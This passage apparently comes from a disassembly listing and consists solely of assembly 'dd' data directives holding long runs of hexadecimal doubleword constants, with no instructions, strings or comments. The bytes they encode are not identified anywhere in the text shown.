7AC11AF9h, 0CD3EA516h, 0C659144Eh, 56F06439h, 0DC029C4Bh dd 0DA29E6F4h, 5E103A31h, 3C00F5C4h, 0CA8F4450h, 268AF9B6h dd 2E49DEDh, 86C8CDF2h, 72DAEC41h, 3072F294h, 863085F6h dd 803F915Ah, 0E9336058h, 97A79C78h, 2519C500h, 1C18B250h dd 5CE83196h, 0C0A01C8h, 78F408C6h, 34C4EA2Ch, 0F580FB5Ch dd 848CF3D2h, 7F031CE8h, 620D596h, 11A7F340h, 7395ADD8h dd 7EA97060h, 0C7737CB8h, 0B02D08C2h, 2537F6FDh, 916420Ah dd 819280FBh, 29C0C034h, 2A25A7h, 8E96C36Bh, 16B50120h dd 4AFC903Fh, 0DBD7CC00h, 18F8A93Bh, 8918D0D6h, 4B038CCCh dd 22AD28B8h, 0DC71F072h, 88FC58DFh, 0C57F5F10h, 0C585CBF9h dd 882C1013h, 0CBF10142h, 4811B23Dh, 2FB6D0FBh, 0FAF28A77h dd 9271C801h, 0DF18F6E0h, 917F4429h, 652700E8h, 0E736FC0Bh dd 500BA75h, 77856649h, 0E0FEF54Eh, 5CEE4CC3h, 824D8810h dd 0E0B13814h, 2A072693h, 87D0F7CFh, 602D44D8h, 0C9DCDF7h dd 70AC8587h, 8CB218A1h, 88D1DCB1h, 0F3004418h, 6576550Fh dd 0C8EA58h, 0A82D0B7Bh, 8FD8BD28h, 7219B316h, 66698A18h dd 2352098Dh, 0DC286313h, 815C11C4h, 86C9CBECh, 83C2ED1h dd 0CC2475A0h, 0D6F31D04h, 38CE8767h, 31620B84h, 0A5E52060h dd 562EA050h, 7B7C00E0h, 52F68CC5h, 0DF1C0D08h, 2407F063h dd 0C589D80Fh, 633BE494h, 18FDE0CDh, 0BC7249h, 33C9391Dh dd 38DD8C1Fh, 0CC3B0896h, 23F300D0h, 4268F645h, 583FE0B8h dd 0AC580C6Bh, 0EBA4493Ch, 0F18E3A34h, 6A628ED9h, 0A09DF6F3h dd 6061B708h, 0C3E64985h, 0AAC8D0Ah, 5C8084AAh, 0A9916FD6h dd 0AFE105FDh, 4194FC92h, 0B0D706D4h, 0A4B09297h, 40CE4802h dd 0E7EF0068h, 6712D49Eh, 404FDEEh, 0C7020E5Fh, 7C52858Ch dd 1BD08A1Bh, 568DD1A8h, 0B0DD9450h, 0F4A84CFBh, 0B883E600h dd 0EB8E8592h, 0BC20A068h, 0E887BC11h, 0DEA12E1h, 20115F31h dd 0F835FDF1h, 3674F329h, 7BE9B8A0h, 24BD9129h, 0F6E1EF01h dd 301805EAh, 1F82188h, 1F0F36E1h, 74D62B9Fh, 3C90D788h dd 5F6AE224h, 0C6B8D318h, 1C3D1A86h, 58C0E8C1h, 78C3BE6Bh dd 0C22C82EEh, 0DEA4A0C9h, 8095C0D6h, 0AE4EFB24h, 0B6660402h dd 0B3788491h, 0E8E1E560h, 11F5EA23h, 0EE0F002Dh, 319784E1h dd 34700BBh, 0E258356Eh, 9000A77Ch, 71F84EC0h, 0B897A023h dd 0CCD91E50h, 850A8127h dd 241D68DFh, 30908F00h, 0FCB634A0h, 17999802h, 519D8288h dd 18887930h, 0A7D9002Ch, 5425E87Ch, 6900D868h, 0D304973Fh dd 62F2F1h, 0E3174229h, 960AB2C0h, 11C89D4h, 0DDE89385h dd 0C9DC34ACh, 900F24A0h, 68E96048h, 91D2210Bh, 2951F405h dd 0A1AD6EC2h, 0D979DCBCh, 7CF26C32h, 50818D30h, 0A0238C6Ah dd 7AAA8E30h, 7BF72495h, 5E465E48h, 745B8600h, 93198E76h dd 0C5B518C1h, 2020A9BFh, 0F4681253h, 23783E9Dh, 0B57B003Bh dd 0A95642A1h, 20A0A225h, 60A6DF6Ch, 8E0F8078h, 1E690201h dd 8F59195Bh, 87249041h, 9409F80Ch, 0E5FE9FF3h, 609C6Ch dd 0B79DA395h, 10AE229h, 0DCAB0A6Bh, 590B2A82h, 61C080B4h dd 0B2451E0Ch, 908518C4h, 18DDF921h, 1D51320h, 9FE5A9E6h dd 7361E0A2h, 620BE1E0h, 2103130Ch, 99759E2h, 27589CFh dd 2DF3A9DCh, 20A0BF46h, 60BC232Ch, 8E504F01h, 0A3EF7A85h dd 2478283Ch, 7CC09038h, 0B723046h, 87B6BE2Bh, 0C0FE6084h dd 9A228697h, 5C0A6F4Ah, 0A340940Bh, 0EBF2AEh, 0B12BE0CFh dd 0B5DCCCF1h, 0A57F9015h, 221F0084h, 5A5E8ECEh, 8E13998h dd 0F6792D80h, 8023739Fh, 0C7F32E17h, 0F79C6804h, 0B7F2F0E2h dd 0EFDB530h, 5E12B417h, 9CFCE42h, 88D0DC62h, 3722032Dh dd 0C8280050h, 4812C695h, 7F49DC76h, 0B2AF0E74h, 62019001h dd 75B9F1B8h, 646D7060h, 0FF70A8A8h, 800F343Fh, 656C9A96h dd 63CF22h, 8D43D47Ch, 0F9AEE8CAh, 70944898h, 76A24B80h dd 1901B4h, 5041CE17h, 0D8497D5Ch, 0F7B8365Eh, 8522EB03h dd 69045882h, 3781AD59h, 38135080h, 0FA7912DBh, 8888CE7Eh dd 0B0CEC737h, 0DA1B80D2h, 32F86109h, 3AC8E192h, 695D02h dd 0DBE21021h, 6C09E6AFh, 0D6AE699Fh, 9B8E4200h, 446CAAB0h dd 0CF253CC3h, 415D379Eh, 0A8DC9F56h, 0CCA02543h, 0E8240AEEh dd 2A02E020h, 0CAB34D13h, 0B06428h, 0E7015CFDh, 3DC0599Ah dd 0C159E02h, 0BDD6882h, 74AC0018h, 0C80D7800h, 14CECD1Ch dd 6E50057h, 0F9F78C76h, 0B8A88589h, 36017255h, 47C8DAC3h dd 0E4F028B5h, 0F2E70969h, 0D68007B1h, 8CCD61F5h, 97217127h dd 808B91BCh, 8A2EB413h, 51E87Fh, 2B5EAC45h, 8B4ECF4Bh dd 0DA59CE05h, 0CCCB7BA3h, 0A0CF2DC8h, 0ECE5BB3Bh, 0BCFB16C1h dd 8549067h, 2A98D8DBh, 475D6004h, 34888C81h, 0B4D3123Ah dd 0B76A004Ah, 0CC485DBEh, 9004F527h, 95C3E4h, 0A960E894h dd 6F43B1C7h, 5D67B718h, 0E6B9D921h, 13B601AAh, 5EE579A6h dd 0E73CE00Dh, 75936500h, 0B17A164Ch, 2602F023h, 0A5546EDFh dd 2E913897h, 0E850CE94h, 0FA9C03A8h, 39267FC9h, 88348E85h dd 0D561E031h, 6D380D99h, 0DC72A6A2h, 9144956Bh, 53AE80A3h dd 288B8416h, 16F3CB0Ah, 0B129229h, 8899ECBFh, 4FA18B6h dd 5DEAFFE1h, 222CC3h, 0F3DDE263h, 0D6821430h, 7202057Ch dd 0EA1463Eh, 79F0D9AEh, 51182Dh, 0E2F14B01h, 5A1FC172h dd 0F31C8F12h, 48B1CB4h, 0DF196125h, 454A8EAh, 0CA3ECD44h dd 8F0CC882h, 0A48F6997h, 40E2E840h, 0C620CE1h, 0ED8D03F4h dd 281C764h, 82F6408Fh, 0B8B47989h, 0D7652980h, 64218C6h dd 0A1255E8h, 0ED00E9A7h, 0ABE76F7Dh, 35951D0h, 5A69A3BCh dd 0CEC9C8F9h, 92B99BE6h, 292BA031h, 28344C69h, 94C8E42Ah dd 30465E84h, 0BAA25800h, 0A0998AF9h, 83118902h, 0B0FF6603h dd 11F5B0C4h, 88BA29FAh, 0B952803Ah, 77828BF5h, 3661BF0Bh dd 7C8707E9h, 0E7E25830h, 7C689C8Ah, 15008946h, 32472565h dd 700A2D44h, 0D8A0398Ch, 80385C39h, 0B403890Dh, 1173003Eh dd 61377114h, 42009258h, 0B1330F54h, 72EFDE4Dh, 8847EFF7h dd 0C0649483h, 986A2170h, 92E61C58h, 8F1C9397h, 0C00CC884h dd 26963D7Fh, 0DF174517h, 0D28790D2h, 2A73000Ch, 509D901Fh dd 4178D688h, 0C7013E90h, 71699487h, 0A8EB2E85h, 5D20DCF8h dd 0E61DD839h, 3521406Bh, 22E515F2h, 3B17916h, 0D8C7149Ah dd 442AB0BDh, 1317E15Eh, 6CD0ADCBh, 0BA6B9AFBh, 31CEE890h dd 0F618BC73h, 0A83266h, 565E85BFh, 30B62789h, 0E6196067h dd 21004B19h, 0B91F901Ah, 4D7EDFDCh, 0D30930C0h, 0CB002530h dd 2F875034h, 0D1D0A603h, 55C2ECAh, 0A315CB40h, 0AF78C00Ch dd 0B949CEB3h, 31240080h, 213CD58Bh, 4C5FF0BCh, 89151CA0h dd 5C07AC7Bh, 70CEBF2Fh, 63B67E5Eh, 0FC80CB02h, 4AB98C75h dd 1C685170h, 0EB9540AEh, 0A551FCD2h, 5F0008B0h, 0D035A2DFh dd 94A19FFAh, 86D582D8h, 240396D8h, 7BE2F926h, 18EA7DF4h dd 0B00DEFD0h, 0C1B0C3A1h, 62032CB0h, 86B41F0Eh, 389670h dd 0F1A4D28Fh, 99C1FA5Bh, 84E149h, 49830B16h, 0A181E24h dd 0B5AEF6A5h, 5BE641Ch, 44A0C80Fh, 7BA600B3h, 9060A93Fh dd 0F91FFB32h, 5A0DA061h, 0CE58042h, 10202E2Bh, 63C0669Bh dd 0C352FB24h, 9813889Eh, 8401820Ah, 18EA4A81h, 820A62Bh dd 970F7CE0h, 0A301FC37h, 0DD55344Ch, 2C8D9CC8h, 5E000398h dd 9D672621h, 164C037h, 72A7163Eh, 99CECB05h, 844242B3h dd 507320D7h, 0D178B128h, 38B51889h, 433AE419h, 0C81EAB16h dd 7C005520h, 4DE87108h, 3FF1E620h, 3E00DAD3h, 0AD3C93D6h dd 8806456Dh, 47159AF8h, 8BFCB090h, 4E84284h, 76E6D2C3h dd 7DFBAD80h, 12FFED03h, 0E0DD916Fh, 0DBF887h, 0DAF56DD3h dd 635B2801h, 93154600h, 0FF291EC4h, 48147503h, 8200630Bh dd 68E266FDh, 86255CD8h, 0E42CC598h, 48B3602Eh, 517091A3h dd 88DC0CB6h, 0EF24A32Ah, 0B20228BBh, 4C19D9A6h, 2B0B0C5Ch dd 920B8D1h, 293A7E3Bh, 0CAE220E5h, 1CC7323Eh, 18669B42h dd 7A548C85h, 213E11B8h, 826D39DFh, 1BA04089h, 4484C7A6h dd 5B276037h, 0A8D41CEFh, 2FE65726h, 61BE1028h, 0CD86F6C0h dd 0ACA09394h, 1B2CA3DDh, 4B07F826h, 3544D0DCh, 0E67EC083h dd 29AE059h, 784A0AC9h, 58728061h, 36E2AF00h, 0F58DBA3h dd 0EB44008Eh, 112B5EE5h, 821BA13Ch, 0A3C92414h, 2CE2E166h dd 0F9F71181h, 2B39362Ah, 0D4773844h, 0B23CF224h, 73BB308Ah dd 0AE589E0Fh, 0A11240D0h, 4E622B9Fh, 0BF709C40h, 2C512318h dd 0EA9FE279h, 7C29C541h, 8824CE9Dh, 851EC172h, 0C4706C90h dd 0DCC01B5Bh, 5D3AFEh, 0C48EE493h, 4534152Eh, 0BC18F54Dh dd 8C1E0034h, 0E63D1BC4h, 0A313294Fh, 68A05BB7h, 0D01405B3h dd 2A684Ah, 0ECD8CC2Ch, 0DE00A079h, 20A105ADh, 395DD01Fh dd 8860E8ACh, 1833B0EBh, 0D9F9B0C5h, 502EADC4h, 4F016E23h dd 633CF644h, 9B806C3Ch, 2A8D95B8h, 0DAFCA900h, 4D8C25EDh dd 92EFCCBh, 8A5E8422h, 0B5966848h, 1DFF6107h, 0ABD201CCh dd 0A338E021h, 9C3C5CD6h, 23502F4Eh, 0BE4200Ch, 92FB8ECDh dd 40815889h, 823A9D50h, 989B9F49h, 0D54CE0C6h, 876E00D1h dd 0A219DDCDh, 28763C60h, 0F08BF528h, 7FC40513h, 2E310F4h dd 4FE5BEA1h, 3C432847h, 0B0444D2h, 2CD0B4E5h, 0E22A02D9h dd 0E7D47350h, 7427BC46h, 60C8CD7Bh, 41519EF3h, 5A774B00h dd 76A6E4Dh, 2E290C70h, 11E0CCBAh, 15AE9200h, 0B0EE0CFh dd 3991DCA4h, 0C8835F80h, 9ED81653h, 3F199109h, 4CC0D0A0h dd 39BCE409h, 5EEA008Ch, 9E54B8BCh, 0DD4B0743h, 5424442h dd 137CF0EBh, 0A3E39908h, 7CDB4E7Ch, 5B685F82h, 92023878h dd 643F0D37h, 0EEC8F2BEh, 858C80C2h, 1899AC33h, 642FE116h dd 86A6BC41h, 2C8F8F2h dd 0EAB39FEFh, 307C8A32h, 0EB153100h, 0B5A23F20h, 0E8F14004h dd 22D8D004h, 2569EA4Dh, 0ECC11C18h, 44472FB3h, 0DF8283DCh dd 3A78C409h, 0F1803FA8h, 5C9DC13Bh, 730769BCh, 0D47FBBEBh dd 0A99F4A50h, 0C65E1772h, 0B9CC84F7h, 637A1B20h, 0A724B959h dd 729559E8h, 236B00E5h, 0E2B8406Ch, 8609D910h, 939A7737h dd 0DF993048h, 588CD450h, 67B0EF08h, 0CDDD8055h, 0D11C0840h dd 9EA05C01h, 0EC73DC06h, 4CD0F9C0h, 0FD8FDC82h, 4341A00Fh dd 242F693Dh, 924F66A4h, 6A3A7099h, 0D59E023Ch, 46CD3098h dd 20A4900Ch, 75010E7Bh, 0B4A2977Fh, 830CCF2h, 806A6587h dd 0B020E6E7h, 9991A5h, 63D37AFh, 0AD6FE701h, 288CE14Fh dd 0BC979525h, 2D802E91h, 822AF87Dh, 0DDF40197h, 3BF3D0h dd 85EEFEF8h, 6C37DE49h, 0D9205967h, 97838Dh, 5340A9E2h dd 0DF0F9C86h, 0DE71B00h, 991F64AEh, 45241232h, 0C894D26Dh dd 4F9F6BE0h, 308D924Fh, 0D574202Ah, 40F7D55h, 0C7D89768h dd 0FFC03E85h, 24A5AA8Fh, 52C40C17h, 3A5984D9h, 6B3D9718h dd 0EACD02DFh, 0E9BA3320h, 25101A20h, 6A7F036Dh, 804E7108h dd 5CDD8033h, 2B14A9A4h, 0E087B303h, 0EDD5CD3Fh, 942D8C20h dd 0CCF60173h, 580B0784h, 8249C401h, 0F8C8DD01h, 1AEBCE62h dd 0A4481022h, 0FC09B023h, 0ED4C85E1h, 14C070A2h, 0E7F8E265h dd 8A09577Eh, 9188D8DDh, 30253B20h, 5C9486C8h, 50A098C3h dd 21B51668h, 0E8C8E7A8h, 12EDBC9Fh, 0E654A40Fh, 75C7E00h dd 0F698944Ch, 0DCFC09BCh, 0E8D8C69Ah, 0B766E31Fh, 0E4B46527h dd 0FC83606Fh, 62F7CD2h, 0E0DD8B0Dh, 0A015A88Ch, 12C0109Fh dd 0D060A288h, 9DA486ACh, 14F97C89h, 8F598C80h, 14B7DD37h dd 0E84A7E47h, 5AB9F10h, 0A296D7CCh, 0D8BA8A9h, 0F582453h dd 0E85903CBh, 76E9D27Fh, 9540CFA0h, 499E0933h, 0E2C0DF19h dd 7069F907h, 323571F1h, 8A512A38h, 918F0076h, 82960E05h dd 8823C2BBh, 0A640F0C1h, 2E9DF506h, 803039h, 0B879492Ah dd 3D12BA48h, 849E98Eh, 0F8DCCB0Bh, 0E0FFAC2Ah, 5A3FC85h dd 4DBF4103h, 23D03AF7h, 0BF480088h, 0DB12AB7Ah, 80A368C8h dd 0A1160626h, 0C058FD64h, 8DDE1DF8h, 0DBE8BD42h, 2885158h dd 18A76185h, 6FE7D499h, 0B709A86Bh, 4852094Eh, 968E9800h dd 1A995893h, 359F00FBh, 1CE25783h, 2909F167h, 45566F3h dd 482F874h, 2D00F44Bh, 33C0106Dh, 169D94B6h, 0E3D15063h dd 488B4A88h, 0EAC16EC8h, 72D83179h, 98A12FAh, 0A48093Eh dd 0AAE62010h, 73BF303h, 0C951950Fh, 0C329A76h, 86D38002h dd 4ADC6Ah, 63889069h, 78858998h, 52D520C8h, 2208F958h dd 0AE08009Fh, 5B1799BBh, 511D384Eh, 0FB9373h, 0D01CCA74h dd 7168767Bh, 34E1C723h, 0E9BB2142h, 0E6879E3h, 459C998h dd 40B2FAAEh, 79308AF2h, 400C00E2h, 0DAC31E20h, 70728F2h dd 0FC863805h, 0C42C83E1h, 0CC072C26h, 0D0E5EE8Eh, 0F413CEB4h dd 111CA34Ch, 8D020FF9h, 34E79F59h, 9909D868h, 9B4EC4Ch dd 0F18BD0DCh, 8C4D0BD4h, 146D740Bh, 12537CC1h, 27AA9080h dd 37219ACh, 11C81795h, 0B5E18738h, 5880DAC4h, 0B72D0F5Fh dd 7D11501Dh, 52CE148Fh, 0C9FA0800h, 67602768h, 4DBB4E21h dd 8C239587h, 490CFF5h, 9FA1CCE7h, 0A581C4A3h, 0AB32412h dd 391B890h, 0DD720095h, 0DE8B059Fh, 5B02F8B0h, 1D8E85CFh dd 0F4045E8Ch, 330081FEh, 2CCF0A60h, 98AED2FBh, 0B4DB48F4h dd 2AFAC5DFh, 0A010D75Eh, 488861E2h, 8EA4894Ch, 6A376040h dd 5D2F56C4h, 8D173CFAh, 3A5416BFh, 669B1084h, 20599AC9h dd 0D3BDA800h, 725E8DACh, 243F2C7h, 0B58911C2h, 0A4C41568h dd 32B3670Ch, 0F1ECA83Bh, 0A2932C29h, 61B8B1FCh, 2C34300Dh dd 337F4409h, 1B748058h, 9357D069h, 34172D7Ch, 0A7803791h dd 66733A78h, 0C1718C30h, 0E2397F27h, 2CC304B8h, 0FD64E070h dd 1A92C404h, 74E2A481h, 0AC64D0h, 0D4CBF913h, 518DC2D1h dd 67A32905h, 7C2F344Dh, 0C0620A10h, 4D56CD44h, 0D58D13A8h dd 2400F090h, 6247A318h, 30A58658h, 0B197548h, 0FB815521h dd 162CCA20h, 8B0D14F9h, 669B8454h, 3507E930h, 4219EA02h dd 58B6E13Dh, 0FD2B00C4h, 64306EE7h, 2598BCFAh, 0DD128005h dd 0B08BDA36h, 0BCC073C8h, 0EE904Eh, 7DB5F5C4h, 5C684F26h dd 6FB0B1C0h, 1F0D5719h, 42594DC6h, 79C32E99h, 33443067h dd 0C7F97661h, 79205600h, 3D449F93h, 9C6352B1h, 0AE2F9701h dd 686BB0EAh, 239F05A4h, 0D0BD431Dh, 0DD01ADCEh, 89A5CB18h dd 0C879D510h, 2C644B28h, 60342A46h, 0A9EC9B0Eh, 5D0BBDA0h dd 46D65400h, 3C9134A5h, 0B0E60244h, 7EF2F14Ah, 0D448BC7Ah dd 0CBC4182Dh, 0EED92E82h, 561512E8h, 1E810292h, 64D28CEEh dd 168A6700h, 755852F0h, 9C1F005Dh, 0F9900165h, 4900DC21h dd 29F3D0FEh, 2C620693h, 47A0EF67h, 4720B569h, 0C4F7B0DCh dd 300B291h, 5EB3C39Eh, 5884C1C5h, 0BC960C40h, 48510241h dd 86D4102Eh, 15D86448h, 0BEFF6F26h, 213231Eh, 90FD4CC8h dd 16D65A94h, 0C8BCCEE8h, 7302CB72h, 8868F18Bh, 6CBBE259h dd 16893B78h, 698BEFAh, 5050E984h, 881D6929h, 21CCF902h dd 0E230650Dh, 0C018669Bh, 72FB1329h, 58B48032h, 14BFA8Eh dd 27C8908Bh, 8D9D2C0h, 24F50088h, 6931F6B0h, 835AA32Ah dd 0C0F2A8C5h, 6DD8E001h, 70968CF1h, 4C40BDB0h, 16E2440Bh dd 1370A32Dh, 187F8AC8h, 0C809CBEBh, 452B2486h, 23500048h dd 67994DCCh, 82FC244Ch, 0D6F6C221h, 0D0EB04B0h, 0E98C942Bh dd 0DCFE7BB0h, 18C61D04h, 68D0BCDFh, 7A1035FDh, 480B5074h dd 4AD55A08h, 40FC8A4Ch, 7A31FA4Ch, 49C8FD00h, 0D10E35B3h dd 5CC30EA7h, 7F429753h, 28561BBFh, 35B9440h, 0A92650A5h dd 2FA40087h, 8C3ECAFh, 301B39EEh, 3662EBh, 2DB2B831h dd 15292842h, 0EF967900h, 0F716246Fh, 0D62C3D12h, 0B7E6C58h dd 9B851BECh, 0D8691448h, 0DC483C01h, 0AE0E9FE3h, 0B035C0h dd 873711EBh, 196142B5h, 0A03410B7h, 0FE7E161Dh, 8C14312Ch dd 398AF5DDh, 6DE4CB54h, 13BCC030h, 0FE00D54Bh, 4C0A3ADh dd 4AF3AA1Ch, 81E0823Eh, 0D90F5864h, 3227ED1Dh, 0E8074ACh dd 351C77B1h, 53FF6B00h, 7BBF01C2h, 7F99121Ah, 326008F4h dd 0F5878180h, 0E27BB271h, 0A06E68Ah, 6213372Ah, 0D7FC028Eh dd 3864F6EAh, 0C05C824Ch, 6D7EF73Bh, 0C01C391Ah, 9380CCB8h dd 0F4E164D1h, 0FC045EB9h, 0F056266Ch, 8CF24CC7h, 4AE0FA52h dd 0F250A2F7h, 0B728307Dh, 2C16BC7Ah, 704B3D2Bh, 0B3A06C18h dd 0C0E55998h, 7D4B7734h, 858CF830h, 90905F04h, 34DD8B88h dd 2F1C278h, 0F084D163h, 1C8661BEh, 17DD8770h, 3D0444C0h dd 0D0B3DAh, 0D2CBD6CDh, 95717FEh, 2371D4FAh, 6903C480h dd 8D24AF42h, 0C0AFAB08h, 255F8C04h, 0FC71633Ah, 8661B678h dd 0AF5D7100h, 5FC7336Ch, 0FCBD0356h, 65881DCh, 83C24900h dd 0B6FB2C37h, 0C9AB0FC0h, 8C9685AAh, 7C889680h, 52FE0EA4h dd 0DB208543h, 9E2669C1h, 0D408B0ACh, 4B9A84DEh, 0B7E4ACE5h dd 715D6360h, 0A9B42A00h, 0D5316A97h, 0D08A4B29h, 0DAE95920h dd 4DB34200h, 0BF9BB009h, 0A13C3A2Ch, 961C81ACh, 0E258E27Ch dd 9688305Eh, 8D604CBCh, 0BFA43CDDh, 0F8F66C30h, 9CBA1A39h dd 0F909F164h, 9BA810A0h, 0BE020056h, 0FC6626DAh, 75EB08Bh dd 64FF3C49h, 56A50064h dd 0D40139C2h, 552E9D09h, 0F0008A79h, 9BA6C39Fh, 78112D89h dd 4E8C3818h, 6065154Fh, 0AB110B2h, 2700C62h, 51A70CFFh dd 48C28586h, 90E5D832h, 25600C64h, 0A0987E5Fh, 195D1F20h dd 0E9A1EB08h, 0E0402B8Ah, 0DB44D0DFh, 0DE170290h, 3F9840DDh dd 0B8E0F9h, 6D2009FFh, 3FCD6E62h, 805F3DD8h, 21348E1Ch dd 254A0F04h, 14CEC2D9h, 0C8F0CA4Eh, 22FDC134h, 0C2FB40E7h dd 0CA5CCC64h, 5C12D99h, 0E488B318h, 0FBC812DDh, 0CB34ADDEh dd 0C494657Ch, 39BB603Bh, 8342094Ah, 7868883Eh, 1B009CBDh dd 0D759E866h, 45FF4Bh, 0E33E7A7Fh, 1229A354h, 4004EF95h dd 0BF81A5C8h, 0EF7E104h, 0BCA8107Bh, 683CE980h, 0F22E2CEEh dd 0D08C0C4h, 8FF83140h, 109C2BD5h, 0DA0D5F15h, 7696C07Ch dd 44DF0EECh, 0D10707E8h, 35D04A88h, 1A478DCh, 0CB2EC48Fh dd 2805B418h, 8C6FBC28h, 582B2F00h, 0FBF369EFh, 0F6DE4ADCh dd 0E6122DE0h, 75A25B80h, 0A884F90Ch, 1F870EA6h, 12A2C4EBh dd 9076BF16h, 8F4AA822h, 2B4EE4F3h, 6E23A4h, 43900544h dd 88095320h, 296E48CDh, 0C22C657Ch, 0B318682Eh, 0A84F05A0h dd 0E48C703Eh, 1F97CA60h, 80B6150Ch, 0E9A01E8Fh, 7759204Eh dd 32265F73h, 710BBB98h, 4E241009h, 84520073h, 7D153A07h dd 0A02D8F0Bh, 7E14646Dh, 79C00008h, 6A7E574Bh, 89021683h dd 0B1E212F3h, 70005903h, 2786682Eh, 30C1197Dh, 79DD009Bh dd 79A491D9h, 2CD21873h, 0BBFB2CDh, 509DA219h, 61683988h dd 0CCEE3CC7h, 0E13A67Bh, 5092D607h, 4E45287h, 930DD41Ah dd 0B816BB0Ch, 0DFDB1804h, 7BEE6CA1h, 26935828h, 40611327h dd 0B6F179D4h, 0B20830D0h, 422A68E4h, 66008880h, 0C31FF96Fh dd 71D311Bh, 4B0E9E79h, 0FC7B5286h, 9F8578F6h, 482EADB6h dd 0C0683310h, 7394C735h, 313A00F7h, 13EF2F43h, 0A827EAFAh dd 0C760C1DBh, 0C50C8C2Ah, 5A39D109h, 69AC02F1h, 84275749h dd 0EAE12047h, 0BD6603A3h, 3C908E0h, 0FC92718Dh, 1901BC06h dd 9B987799h, 40854B1Dh, 0BC7B20EBh, 4DD82FB4h, 4B65ECh dd 6A3C5CD1h, 667E8BF1h, 24CD8D09h, 0BB02398h, 8600B4AFh dd 0C2FB9213h, 48A24224h, 67D0D700h, 24A7B7D9h, 81ACC30Fh dd 928A3485h, 211832Ah, 0DAD2CF5Dh, 0C9284293h, 0C4304C2Ch dd 0E7F48892h, 3F0C79E5h, 32C213EBh, 0ECBE6880h, 4BCE02DAh dd 6F75A4BDh, 59165CE4h, 1C9AD972h, 66E9A6C3h, 30071B6h dd 238391FEh, 0C01962h, 0C85185D0h, 9ABD815Ah, 0DBE7B0A0h dd 0A7B29E07h, 87E2DCF6h, 79F4A5BCh, 1F041CF4h, 0C28AA9D9h dd 0F769736h, 55E009E0h, 0F8C8A04Fh, 14D53E87h, 0F902E540h dd 3AC8D680h, 0FBA4812Bh, 3A43B2h, 1B509A44h, 3E39B9BAh dd 0D4004EF5h, 7FD4A8ACh, 3B127535h, 0EA80D036h, 977E4622h dd 0FE612B04h, 4518D741h, 995802CFh, 6C8CD4C9h, 2F2AD082h dd 5884D040h, 2AD4F851h, 0C188E4CEh, 0A7CF80C0h, 0F05C0B86h dd 94C81168h, 24F0CE53h, 0BE7F7044h, 2EA38924h, 78C16079h dd 0C1C251D2h, 84227E93h, 7FF48600h, 93A909F1h, 0F2AFEE0Eh dd 0DCEF61FCh, 9A2FD8D1h, 0B8C3C0D4h, 93FB4AAh, 36E008DDh dd 0E7A0F022h, 18953C50h, 1DC5B224h, 406977D0h, 0E8D58996h dd 0E30106B7h, 0D4EAA5F9h, 0C02F37C8h, 6AEB6638h, 3CD80C4Fh dd 0B013833Ch, 9C80DD0Eh, 48A4CD87h, 0B785B471h, 0B2D4A935h dd 702028C0h, 948C49D8h, 0B8465EC0h, 0EE0E2805h, 10B4812Dh dd 0F8E0488Ah, 3CF1AE00h, 0E1A416F0h, 257B72h, 31113E9Ch dd 69175C6Dh, 0E890285Eh, 12E2FBC6h, 0F208BFE9h, 6A5D1C48h dd 5681F41Fh, 3884208Eh, 0ED643C4h, 6E68A265h, 8C988D02h dd 0AA001CFAh, 254F76E8h, 90BA7D4Ah, 7C06008Ah, 24214C72h dd 349CE627h, 0A8035CD6h, 995CD600h, 96CE7F8h, 5A4F9AEAh dd 0DD027CD0h, 0BF5F28D0h, 704D9DECh, 69D5CC0h, 2C740357h dd 3507F3CFh, 0DCE0E8DAh, 344E634Bh, 0B688988Eh, 69BC7AC0h dd 3BD97B46h, 0D5851644h, 0B4C1843Eh, 97A094h, 2CD6FF9Ch dd 7BD52D22h, 26111C97h, 6E199680h, 0E5175082h, 24B1D2B0h dd 30F08802h, 0EF0994E4h, 71AE1E9Fh, 4CAC4088h, 7005794h dd 0B8DC8CE9h, 29C8DD0Bh, 26B0AE5Fh, 0A3E70968h, 0CB965868h dd 0D7D0E083h, 0B718C2D3h, 887A3D87h, 0C2A1F000h, 80E7FD4Eh dd 0C60C04C0h, 0E09CCF06h, 36050FE8h, 0B6218320h, 0FA80F8ECh dd 0BF595A11h, 0B7863C01h, 16F907B1h, 0D953D880h, 973B2E6Dh dd 0B7958278h, 5F3B00C8h, 3F65A76Dh, 6625A200h, 0F1078EFEh dd 0DF020980h, 0DC1094CCh, 2F45AF3Ch, 3ACD1040h, 72EC0890h dd 467633BFh, 513C00B7h, 9EDF29BAh, 1F5E320Ah, 0D06487C0h dd 0F58ECB02h, 71A1E0E1h, 669BD044h, 2A530B86h, 4040A10Bh dd 8854858Eh, 6D4DDFBCh, 24EC1AA8h, 71087B99h, 4563C804h dd 0F12BCC00h, 858DA339h, 91934AB0h, 8C30415Ch, 0E191F381h dd 0D6F49609h, 60932118h, 8873E460h, 0E49A4113h, 0A26D0C02h dd 0E85891A3h, 18234BD0h, 80393113h, 0EF1286B4h, 30ADA227h dd 0E7930617h, 0CABAA068h, 0C29F1CFBh, 8B1581C8h, 24BE6885h dd 0CB05E7F0h, 0EA7F1922h, 0DCFC9840h, 24A0DE7Bh, 2C9CD46Eh dd 0CE824E70h, 0A040A78Bh, 1FBFE27Fh, 9DB711E0h, 8DBF0700h dd 7CA7322h, 2D1027A5h, 8A125A8h, 7CA1623Ch, 0A9182C71h dd 0BDC7EC00h, 0C15048A2h, 3BEA272Bh, 6472802Bh, 2D22FB0Fh dd 5CE6932Eh, 0E240FEF0h, 0EB07360Dh, 2E72B0h, 114F8C8Ch dd 0F4A919C1h, 0F25C22EDh, 4B5030B7h, 0B5E47504h, 0FCE9093Bh dd 8AA6E507h, 3E07D317h, 0BD2F37C0h, 0C64D4900h, 0CCF04527h dd 146B0185h, 0E7CA8654h, 9D94DCEBh, 7F4B2890h, 27E218A3h dd 5806C730h, 0BE00E0EAh, 0BD3D6319h, 685E5D23h, 837BC440h dd 1FC1178Eh, 0CE977FEEh, 0D6004BF1h, 68E8BD5Eh, 4824904Bh dd 0EBE0D2C2h, 0E2B6B850h, 1DC90491h, 0EAEF8136h, 0C6028C1Dh dd 902468EEh, 0F08C7DCh, 0B2AEFD13h, 0F450D087h, 8413AF88h dd 0EF844CDBh, 9441FB68h, 0CE325126h, 0E7F8B849h, 4ED800C6h dd 0F4821C8Eh, 614E51C7h, 3A23802Fh, 5FE8FE00h, 0E2769EAFh dd 41566B8Eh, 3958E1h, 1E31F4Ch, 92CDAF72h, 23208210h dd 3331A284h, 0CDAE8BF8h, 79900812h, 8BC874CBh, 8980F1C5h dd 271C92Bh, 0D35A4ED9h, 38FCDD86h, 0DC534EBDh, 8BC8D0CBh dd 0DE0F47C0h, 86D403F5h, 46E6D567h, 0B05C93AAh, 669B215Eh dd 0F8908580h, 1CA6E98Ah, 